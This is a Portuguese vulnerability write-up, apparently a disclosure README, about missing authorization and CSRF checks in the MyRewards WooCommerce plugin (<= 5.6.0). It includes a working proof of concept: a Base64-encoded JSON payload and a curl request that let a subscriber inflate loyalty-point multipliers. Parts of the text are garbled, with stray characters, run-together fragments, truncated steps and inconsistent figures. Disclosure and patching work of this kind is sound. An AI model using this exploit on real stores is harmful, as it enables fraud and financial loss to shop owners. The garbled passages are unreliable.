
Falta de Autorização / Controle de Acesso Quebrado no Plugin - MyRewards – Pontos de Fidelidade e Recompensas para WooCommerce
Aviso: Este repositório foi criado apenas para fins educacionais e divulgação ética. A vulnerabilidade foi reportada de forma responsável ao fornecedor e corrigida. Não utilize estas informações para explorar sistemas sem a devida autorização.
Uma vulnerabilidade crítica de Controle de Acesso Quebrado / Escalação de Privilégio foi descoberta no plugin MyRewards (WooRewards) para WooCommerce (versões <= 5.6.0). Esta falha permite que qualquer usuário logado, incluindo aqueles com privilégios mínimos como Assinantes, burle a autorização e modifique regras sensíveis de recompensas da loja.
Ao explorar esta vulnerabilidade, um atacante pode inflar seu multiplicador de pontos de fidelidade para um valor astronômico (por exemplo, h999,999,999'), permitindo acumular pontos massivos a partir de uma única compra pequena e resgatá-los por cupons ou produtos gratuitos, resultando em perda financeira direta para a loja.
<= 5.6.0A causa raiz desta vulnerabilidade reside na falha em implementar Verificações de Capacidade ou proteção CSRF em endpoints AJAX críticos que manipulam modificações no banco de dados.
1. Registro de AJAX Não Autorizado:
O plugin utiliza uma classe de controlador genérica (EditlistControler) para gerenciar operações CRUD. Em editlistcontroler.php, ele registra a ação AJAX editlist usando o hook gwp_ajax_`, tornando-a disponível para TODOS os usuários logados, independentemente de sua função:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. Ausência de Autorização e Validação de Nonce:
Dentro dos métodos ajax() e accept(), o código processa requisições de alteração de estado (por exemplo, put para atualizar, del para deletar) baseando-se apenas na entrada do usuário. Ele não faz nenhuma chamada a current_user_can() e check_ajax_referer(), significando que não há verificação se o usuário tem direitos manage_woocommerce.
3. Processamento Perigoso de Payload:
O endpoint aceita uma string JSON codificada em Base64 através do parâmetro line, que é decodificada e passada diretamente para o método EventList::write()p, salvando as configurações maliciosas diretamente no banco de dados:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
Os passos a seguir demonstram como um Assinante autenticado pode explorar esta falha.
subscriber.101) é sequencial e facilmente enumerável observando respostas de postagens AJAX.Queremos atualizar o multiplicador de pontos da Regra ID 101 para 999,999,999,999,999.
JSON Inicial
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Codificado em Base64 ('valor de line')
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
Execute a seguinte requisição CURL como um usuário de baixo privilégio:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1} confirmando a atualização.Para corrigir este problema, atualize o plugin MyRewards para a versão corrigida mais recente. O fornecedor resolveu isso:
current_user_can() dentro do controlador AJAX para verificar privilégios administrativos.check_ajax_referer() para validar nonces e prevenir Cross-Site Request Forgery (CSRF).Um breve registro do processo de divulgação para mostrar que os padrões éticos foram seguidos: